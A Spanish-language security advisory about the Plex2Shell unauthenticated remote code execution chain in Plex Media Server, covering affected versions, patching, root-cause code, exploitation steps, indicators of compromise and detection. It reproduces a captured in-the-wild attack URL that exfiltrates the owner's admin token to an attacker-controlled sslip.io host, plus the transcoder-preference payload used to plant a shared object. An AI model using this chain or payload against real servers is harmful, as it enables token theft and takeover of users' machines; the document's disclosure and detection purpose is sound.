Plex2Shell: RCE en Plex explotada en ataques reales (CVE-2026-96656)

Resumen

• Plex2Shell es una cadena de cuatro vulnerabilidades de Plex Media Server, CVE-2026-96652, CVE-2026-96654, CVE-2026-96655 y CVE-2026-96656, que comienza con una única solicitud sin autenticación y termina con ejecución de código como el usuario del servicio Plex. El 16 de octubre de 2026 se publicó una prueba de concepto.
• Todas las compilaciones de Plex Media Server anteriores a 1.43.3.10861 están afectadas. El investigador que descubrió la cadena le asigna CVSS v3.1 9.8; los CVE individuales puntúan entre 4.3 y 8.6 porque cada uno se evalúa por separado.
• La explotación en ataques reales está confirmada. Plex declaró el 19 de octubre que los fallos se «explotan activa y ampliamente» contra servidores expuestos a Internet, con mineros de criptomonedas y software proxy desplegados en los hosts comprometidos. CISA añadió los cuatro CVE de la cadena al catálogo de vulnerabilidades explotadas conocidas el 20 de octubre.
• Actualice ahora a 1.43.3.10861 o posterior. Si el servidor era accesible desde Internet por el puerto 32400 mientras estaba sin corregir, Plex recomienda asumir que puede estar comprometido y buscar los indicadores siguientes antes de volver a confiar en él.

¿Estoy afectado?

Está afectado si se cumplen todas estas condiciones:

• Ejecuta Plex Media Server en cualquier plataforma: Windows, macOS, Linux, Docker, un dispositivo NAS o NVIDIA Shield.
• La compilación es anterior a 1.43.3.10861. Los registros CVE marcan como afectadas todas las versiones anteriores a esa compilación, y la prueba de concepto indica que la cadena funciona hasta 1.43.3.10828 inclusive.
• El puerto 32400 es accesible desde Internet, mediante el acceso remoto de Plex o un reenvío de puertos manual. El punto de entrada de la cadena es una solicitud desde Internet, y la orientación de Plex sobre compromiso se dirige a «servidores expuestos a Internet que no se hayan actualizado».

Un quinto fallo corregido en la misma compilación, CVE-2026-96651, es un recorrido de rutas mediante /system/agents/media/get que necesita cualquier token de sesión válido en vez de una ruta desde Internet. Permite a un atacante en la red leer archivos que pueda leer el usuario de la sesión, incluido PlexOnlineToken, que controla la cuenta Plex. No forma parte de la cadena sin autenticación, pero comparte la corrección.

Compruebe la versión en todos los servidores, incluidas las instalaciones Docker y NAS. En Plex Web, abra Ajustes y después General, y lea la versión mostrada. En el propio host, el endpoint de identidad responde con la compilación:

curl -s http://localhost:32400/identity | grep -o 'version="[^"]*"'   # run on the Plex host
docker exec plex curl -s http://localhost:32400/identity               # Docker: adjust the container name

¿Cómo lo corrijo?

Actualice a 1.43.3.10861 o posterior. Las actualizaciones automáticas la proporcionan en Plex Web, en Ajustes, General. Para instalaciones manuales, descargue la compilación actual de la página de descargas de Plex. El aviso de seguridad de Plex del 1 de septiembre de 2026 explica cada plataforma, incluidas las tiendas de aplicaciones NAS, donde los paquetes actualizados se retrasaron y fue necesaria una instalación manual, y Docker, siguiendo la actualización de imagen de pms-docker.

Después verifique la compilación con la comprobación identity anterior y, si no necesita acceso remoto, desactive Acceso remoto en Ajustes, Acceso remoto, como recomienda Plex.

Si aún no puede actualizar, bloquee en el cortafuegos el acceso desde Internet al puerto 32400. La primera solicitud de la cadena procede de Internet, por lo que esto detiene la cadena sin autenticación. Sus límites son reales: no protege contra CVE-2026-96651, que solo necesita una posición adyacente en la red y un token de sesión válido, y elimina la reproducción remota para sus usuarios.

Si el servidor estaba expuesto a Internet y sin corregir, siga la comprobación de compromiso siguiente antes de restablecerlo y aplique las pautas de recuperación de Plex si algo coincide.

¿Cuál es la causa raíz?

La cadena funciona porque cuatro debilidades independientes entregan al atacante la posición que necesita la siguiente etapa: una comprobación de tokens que nunca valida, un control de autorización que no puede detener nada, una comprobación de prefijo URL que confía en las apariencias y un cargador de códecs que ejecuta lo que encuentra. El investigador de seguridad Zach Main comunicó las cuatro a Plex el 27 de julio de 2026 y publicó los detalles con análisis a nivel de código el 16 de octubre de 2026.

Las puntuaciones proceden de los registros CVE publicados el 23 de septiembre de 2026.

Etapa 1: un control de tokens que comprueba existencia, no validez. El endpoint del protocolo complementario detrás de /player/timeline protege las solicitudes WAN de esta forma, citada de la divulgación:

HttpReply CompanionProxyRequestHandler::handle(HttpRequest& req) {
    if (req.locality == Locality::WAN && !req.hasParam("X-Plex-Token")) {
        return HttpReply{401};
    }
    // hasParam() checks existence, not validity
    return CompanionProxyRequestHandler::instance().dispatch(req);
}

hasParam() responde si existe la cabecera. X-Plex-Token: junk supera la comprobación. Cuando un reproductor suscrito cancela la suscripción, el servidor envía un POST de callback a una URL construida con protocol, host y port suministrados por el reproductor:

std::string Controller::callbackUrl() const {
    return (boost::format("%1%://%2%:%3%") % protocol % host % port).str();
}

Nada valida protocol como esquema, de modo que una URL completa en ese parámetro envía el POST del servidor adonde quiera el atacante, incluso al propio servidor mediante loopback.

Etapa 2: un control de autorización que no puede detener la llamada. La API de complementos /system/agents/* se abre sin token para solicitudes originadas en loopback. Su endpoint searchOne intenta rechazar identificadores de agentes no registrados:

@lock(self.agent_info)
def inner():
    if identifier not in Core.messaging.plugin_list():
        return  # returns from inner(), not from search_one
    # ... proceed ...

El decorador @lock envuelve inner() y descarta su valor de retorno, por lo que, cuando el control retorna anticipadamente, search_one continúa ejecutándose. El identificador se asigna a target y se inserta en una URL interna sin codificación:

url = 'http://127.0.0.1:32400/:/plugins/%s/messaging/%s' % (target, key)

Un ? en el identificador abre una cadena de consulta y un # trunca el resto, por lo que el atacante controla la ruta y la consulta de la siguiente solicitud loopback: una llamada falsificada a cualquier función de un complemento.

Etapa 3: una comprobación de prefijo que confía en las apariencias. El framework de complementos Python adjunta el token de administrador del propietario a las solicitudes salientes que parecen internas:

if url.find('http://127.0.0.1') == 0:
    request.headers['X-Plex-Token'] = os.environ['PLEXTOKEN']

Se trata de una coincidencia de prefijo de cadena sin límite. Un nombre de host como 127.0.0.1.<attacker-ip>.sslip.io empieza por 127.0.0.1, por lo que se adjunta el token, pero el servicio DNS sslip.io resuelve el nombre a la IP del atacante. La etapa 2 falsifica una llamada a la función GetResultFromNetwork del agente TheTVDB incluido, que obtiene URL, dirigida a ese nombre de host. El token de administrador local-* del propietario se entrega al puerto de escucha del atacante.

Etapa 4: una preferencia que se convierte en escritura de archivos y un cargador que confía en su directorio. Con el token del propietario, PUT /:/prefs establece TranscoderH264Options, una cadena que se añade literalmente a la línea de comandos del codificador x264 en cada transcodificación. La opción de depuración dump-yuv de x264 escribe fotogramas decodificados en una ruta elegida por quien la invoca, y qp=0 hace que la codificación sea sin pérdidas, de modo que los fotogramas escritos son una copia exacta bit a bit del vídeo de entrada. El atacante aloja un vídeo portador cuyo primer fotograma es un objeto compartido ELF, desencadena una transcodificación mediante /video/:/transcode/universal (CVE-2026-96655 aporta la obtención sin lista de permitidos) y el ELF queda como un .so en el directorio Codecs. Al iniciar el transcodificador, avpriv_load_new_libs de la biblioteca incluida libavutil.so.58 enumera ese directorio y ejecuta dlopen() sobre cada archivo .so sin comprobar firma, bit de ejecución ni símbolos. Un objeto compartido que solo contiene un constructor ELF también ejecuta su código al cargarse.

¿Cómo se explota?

La prueba de concepto en github.com/code-zm/plex2shell encadena las etapas de extremo a extremo. Estos son los pasos ejecutados contra un servidor vulnerable:

1. Registrar un reproductor mediante el endpoint complementario de sondeo largo, enviando X-Plex-Token: junk. La comprobación que solo verifica la existencia lo deja pasar.
2. Suscribirse con un parámetro protocol que contenga la URL loopback de la llamada objetivo a la API de complementos y después cancelar la suscripción. El servidor se envía a sí mismo la solicitud falsificada por POST desde un origen loopback auténtico.
3. La llamada falsificada a searchOne alcanza GetResultFromNetwork del agente TheTVDB con una URL que empieza por http://127.0.0.1 y resuelve al atacante. El servidor adjunta el token de administrador del propietario y lo entrega.
4. PUT /:/prefs establece TranscoderH264Options en dump-yuv=<codec-dir>/x.so:qp=0.
5. Se desencadena una transcodificación de un vídeo portador alojado por el atacante. x264 escribe el ELF exacto bit a bit en el directorio Codecs.
6. Una segunda transcodificación enumera y carga el .so. Su constructor se ejecuta como el usuario del servicio Plex, uid=1000(plex) en una instalación Linux predeterminada. En la PoC crea un proceso hijo y ejecuta una shell inversa.

La primera solicitud capturada en un ataque real, de un registro Zeek de un honeypot publicado por el investigador boredhackerblog el 17 de octubre de 2026, muestra las etapas 1 a 3 en una única URL de suscripción, con el agente de usuario Python-urllib/3.10:

/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471

El host sslip.io que filtra el token y la ruta identifier=com.plexapp.agents.thetvdb/function/GetResultFromNetwork son las dos firmas más reconocibles del ataque en los registros HTTP.

¿Cómo transcurre el ataque?

El flujo es lineal: superar el control de tokens con un valor basura, hacer que el servidor solicite su propia API loopback, falsificar una llamada a un complemento que filtre el token del propietario, abusar de la preferencia del transcodificador para escribir una carga ELF y dejar que el cargador de códecs la ejecute.

¿Qué puede hacer un atacante?

• Ejecutar código arbitrario como el usuario del servicio Plex: instalar mineros de criptomonedas, software proxy, puertas traseras o cualquier otra cosa que pueda ejecutar la cuenta. En los ataques observados se desplegaron tanto un minero XMRig como una puerta trasera de proxy residencial.
• Tomar el control de la cuenta Plex. El token del propietario robado y el PlexOnlineToken accesible mediante CVE-2026-96651 controlan la cuenta y el servidor: bibliotecas, ajustes y dispositivos con sesión iniciada.
• Abusar del ancho de banda y la IP residencial del host. La puerta trasera «myawesomeproxy» enruta tráfico ajeno por la conexión a Internet de la víctima, un patrón de compromiso que monetiza conexiones domésticas.
• Acceder a todo lo que pueda alcanzar la cuenta del servicio: recursos compartidos multimedia montados, otras credenciales almacenadas en la misma máquina o VM y cualquier recurso adyacente que pueda leer el usuario plex.

Condiciones que necesita el atacante: acceso de red desde Internet al puerto 32400 para la cadena sin autenticación y un host del atacante al que el servidor pueda conectarse para filtrar el token y obtener el contenido multimedia. No se requiere autenticación, interacción del usuario ni configuración distinta de la predeterminada; la PoC también incluye una carga para Windows. Para CVE-2026-96651 por sí sola, basta una posición adyacente en la red y cualquier token de sesión válido.

¿Por qué funciona la corrección?

Plex Media Server es de código cerrado, por lo que no hay un diff público del parche que citar. Las notas de publicación de 1.43.3.10861 nombran dos correcciones, que rompen la cadena en su entrada y en el paso de escritura de la carga:

• «(Seguridad) Se aborda una posible vulnerabilidad en CompanionProxy. (PM-5763)» cubre el endpoint de la etapa 1 detrás de CVE-2026-96652.
• «(Seguridad) Las preferencias TranscoderH264Options y TranscoderH264OptionsOverride ya no pueden modificarse por la red. (PM-5766)» elimina la capacidad de escritura de la etapa 4: incluso un atacante con el token del propietario ya no puede establecer la preferencia del transcodificador mediante la API, por lo que no puede preparar la escritura de archivos dump-yuv.

Las etapas restantes se corrigieron en la misma compilación: el aviso de Plex del 19 de octubre vincula CVE-2026-96652, CVE-2026-96654, CVE-2026-96655 y CVE-2026-96656 con la versión 1.43.3 y afirma que 1.43.3.10861 y posteriores no están afectadas, y el repositorio de la PoC indica que la cadena está corregida allí. Como la cadena necesita las cuatro etapas, cerrar cualquiera detiene la ruta sin autenticación; la versión cierra varias.

Según la declaración del proveedor, la corrección es completa para esta cadena, con una salvedad: el patrón de carga de código que permanece, un directorio desde el que el servidor ejecuta archivos .so sin comprobar firma ni bit de ejecución, solo es seguro mientras nada más pueda escribir en él. Considere cualquier capacidad futura de escritura en el directorio de datos de Plex como ejecución de código hasta que se demuestre lo contrario.

¿Cómo compruebo si me comprometieron?

El aviso de Plex del 19 de octubre es tajante: si su servidor es anterior a 1.43.3.10861 y era accesible desde Internet, asuma que puede estar comprometido. Su lista de comprobación, junto con los indicadores públicos del análisis de explotación:

• Procesos iniciados por Plex Media Server que no reconozca, especialmente los nombres myawesomeproxy, mylovelyminer o x12345.
• Archivos .so o .dll desconocidos en la carpeta Codecs de Plex.
• Conexiones salientes a proxystream.st o uso elevado y sostenido de CPU cuando no se reproduce nada.
• Registros HTTP con solicitudes /player/timeline/subscribe cuyo parámetro protocol contenga una URL completa, cualquier solicitud a identifier=com.plexapp.agents.thetvdb/function/GetResultFromNetwork, o nombres de host bajo sslip.io que resuelvan a 127.0.0.1.*. Las capturas pcap para trabajar en firmas se publican en github.com/BoredHackerBlog/plex2shell_pcap.
• Conexiones desde o hacia la infraestructura de ataque observada: 91.92.40.202, 176.65.139.228, 45.194.92.222, y descargas de cargas desde 217.60.194.116.
• Hashes SHA-256 de archivos de las capturas del honeypot: 5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 (docker), 68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 (x, empaquetado con UPX), b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 (x, desempaquetado), e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9 (myawesomeproxy), 2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db (xmrig).

El repositorio de la PoC incluye reglas YARA validadas y un script de búsqueda de solo lectura que comprueban los artefactos de códecs depositados, los binarios de las cargas y los registros del servidor en las rutas de instalación estándar:

git clone https://github.com/code-zm/plex2shell
cd plex2shell/detection
sudo ./hunt/plex2shell-hunt.sh                       # auto-discovers Linux, snap and Docker installs
yara -r -w yara/plex2shell.yar "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server"

Si algo coincide o no puede descartarse el compromiso, las pautas de recuperación de Plex son: reconstruir el servidor desde una instalación limpia en vez de reutilizar el directorio de datos antiguo, borrar todo el contenido de Codecs, comprobar si Preferences.xml contiene opciones del transcodificador que usted no estableció, cerrar la sesión de todos los dispositivos desde los ajustes de la cuenta Plex, cambiar la contraseña de Plex y considerar potencialmente expuesto todo lo que pudiera alcanzar la cuenta del servicio, como recursos compartidos montados y credenciales almacenadas.

Cronología

• 2026-07-27: Zach Main comunica la cadena al programa de seguridad de Plex.
• 2026-08-03: Plex Media Server 1.43.3.10861 se publica en el canal Beta con las dos correcciones de seguridad nombradas.
• 2026-08-04: Plex reconoce el informe y paga la recompensa.
• 2026-09-01: Plex publica «Actualización de seguridad importante para Plex Media Server v1.43.2 y anteriores», e insta a todos los propietarios de servidores a actualizar.
• 2026-09-23: se publican CVE-2026-96651, -96652, -96654, -96655 y -96656.
• 2026-10-16: divulgación pública con el análisis completo y la prueba de concepto.
• 2026-10-17: se observa la primera explotación real en un honeypot, desde 45.194.92.222, un día después de la divulgación.
• 2026-10-19: Plex confirma explotación activa y extendida y publica la tabla de CVE y las pautas sobre compromiso.
• 2026-10-20: CISA añade los cuatro CVE de la cadena al catálogo de vulnerabilidades explotadas conocidas, con fechas límite de 2026-10-23 para CVE-2026-96654 y CVE-2026-96656, y 2026-11-03 para CVE-2026-96652 y CVE-2026-96655.
• 2026-10-25: publicación de este artículo.

Preguntas frecuentes

¿Estaba expuesto mi servidor si nunca reenvié un puerto?

Acceso remoto, activado de forma predeterminada, puede hacer que el puerto 32400 sea accesible desde Internet mediante travesía NAT incluso sin reenvío manual de puertos. Compruebe Ajustes, Acceso remoto para ver si indicaba «Completamente accesible fuera de su red», y considere expuesto cualquier servidor que fuera accesible y estuviera sin corregir.

¿Por qué las puntuaciones CVE parecen bajas si la cadena tiene 9.8?

Cada CVE se puntúa por separado, y las etapas que desbloquea la propia cadena incluyen métricas de privilegios requeridos: CVE-2026-96656 recibe 7.2 en CVSS v3.1 porque presupone un administrador, aunque la cadena entrega ese rol al atacante sin autenticación. El investigador asigna a la cadena completa CVSS v3.1 9.8, y la inclusión en KEV de CISA refleja la explotabilidad efectiva, no las puntuaciones de cada CVE.

¿Me protege 1.43.3.10828 o alguna versión 1.43.2?

No. La PoC afirma que la cadena funciona hasta 1.43.3.10828 inclusive, y todas las compilaciones anteriores a 1.43.3.10861 están en el rango afectado de los registros CVE. Solo 1.43.3.10861 y posteriores son seguras, que es también lo que significa «1.43.2 y anteriores» en el aviso de Plex del 1 de septiembre: actualice a la compilación actual de 1.43.3.

¿Qué hace realmente el malware desplegado?

Se observaron dos cosas. Un proceso de minería de criptomonedas XMRig llamado mylovelyminer mina hacia el servidor ota.proxystream[.]st, un dominio que Bitsight vinculó en agosto de 2026 con la botnet de software proxy AISURU. Una puerta trasera llamada myawesomeproxy convierte el servidor en un proxy inverso para tráfico ajeno y lo anuncia: «Ejecutar este software en cualquiera de sus dispositivos implica aceptar el posible uso externo de su tráfico de Internet».

Ejecuto Plex en Docker o en un NAS. ¿Es distinta la corrección?

La compilación corregida es la misma, 1.43.3.10861. Las instalaciones Docker se actualizan obteniendo la imagen actual de pms-docker, y las instalaciones NAS a menudo necesitaron instalar el paquete manualmente porque las tiendas de aplicaciones iban retrasadas, según la guía de plataformas de Plex del 1 de septiembre. Para comprobar compromiso, los destinos del análisis YARA son el volumen de configuración en Docker y el directorio de soporte de aplicaciones del proveedor en cada plataforma.

Si no hay coincidencias, ¿basta con aplicar el parche?

El parche detiene la cadena y el malware que deposita. Como el token del propietario robado y cualquier PlexOnlineToken exfiltrado sobreviven a la corrección del servidor, quienes observaron actividad sospechosa deben cerrar igualmente la sesión de todos los dispositivos y cambiar la contraseña Plex; quien tenga dudas sobre una exposición anterior debe seguir las pautas de reconstrucción en vez de confiar en una lista de procesos limpia.

Encuentre servidores Plex sin corregir antes que los atacantes

Analice sus activos expuestos a Internet con Ostorlab para detectar todos los Plex Media Server de su entorno que aún anuncien una compilación anterior a 1.43.3.10861, junto con los servicios expuestos y las aplicaciones multimedia que los rodean.

Referencias

• Divulgación de Zach Main, «Plex2Shell: RCE sin autenticación en Plex Media Server», 16 de octubre de 2026, con el análisis de código por etapa y la cronología de divulgación: https://zmain.info/blog/plex2shell (consultada el 25 de octubre de 2026)
• Prueba de concepto y reglas de detección (YARA, script de búsqueda, datos de prueba): https://github.com/code-zm/plex2shell (consultadas el 25 de octubre de 2026)
• boredhackerblog, «Vulnerabilidades de Plex explotadas en ataques reales para instalar un criptominero», 17 de octubre de 2026, con la URI de ataque capturada, IP y hashes de archivos: https://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html (consultado el 25 de octubre de 2026)
• Capturas pcap de explotación: https://github.com/BoredHackerBlog/plex2shell_pcap (consultadas el 25 de octubre de 2026)
• Aviso de seguridad de Plex «Actualización de seguridad importante para Plex Media Server v1.43.2 y anteriores», 1 de septiembre de 2026, actualizado el 19 de octubre de 2026 con la tabla CVE, la declaración de explotación activa y la lista de comprobación de compromiso: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319 (consultado el 25 de octubre de 2026)
• Notas de publicación de Plex Media Server 1.43.3.10861, 3 de agosto de 2026, que nombran la corrección de CompanionProxy (PM-5763) y la de modificación por red de TranscoderH264Options (PM-5766): https://forums.plex.tv/t/plex-media-server/30447/712 (consultadas el 25 de octubre de 2026)
• Registro CVE-2026-96652 (CVSS v3.1 4.3, v4.0 5.3): https://cveawg.mitre.org/api/cve/CVE-2026-96652 (consultado el 25 de octubre de 2026)
• Registro CVE-2026-96654 (CVSS v3.1 6.5, v4.0 6.9): https://cveawg.mitre.org/api/cve/CVE-2026-96654 (consultado el 25 de octubre de 2026)
• Registro CVE-2026-96655 (CVSS v3.1 4.3, v4.0 5.3): https://cveawg.mitre.org/api/cve/CVE-2026-96655 (consultado el 25 de octubre de 2026)
• Registro CVE-2026-96656 (CVSS v3.1 7.2, v4.0 8.6): https://cveawg.mitre.org/api/cve/CVE-2026-96656 (consultado el 25 de octubre de 2026)
• Registro CVE-2026-96651 (CVSS v3.1 6.5, v4.0 7.1), el recorrido de rutas asociado: https://cveawg.mitre.org/api/cve/CVE-2026-96651 (consultado el 25 de octubre de 2026)
• Catálogo de vulnerabilidades explotadas conocidas de CISA, con los cuatro CVE de la cadena añadidos el 20 de octubre de 2026: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (consultado el 25 de octubre de 2026)
• Aviso de CISA VA-26-266-01 con las descripciones de los cinco CVE y vectores CVSS v3.1: https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json (consultado el 25 de octubre de 2026)
• The Hacker News, «Atacantes explotan fallos Plex2Shell para instalar mineros de criptomonedas y una puerta trasera proxy para Linux», 19 de octubre de 2026: https://thehackernews.com/2026/10/hackers-exploit-plex2shell-flaws-to.html (consultado el 25 de octubre de 2026)
• Bitsight sobre la infraestructura proxystream.st y la botnet AISURU: https://www.bitsight.com/blog/who-invited-aisuru-lan-party (consultado el 25 de octubre de 2026)
• Hilo de Reddit con informes de usuarios sobre instancias comprometidas: https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/ (consultado el 25 de octubre de 2026)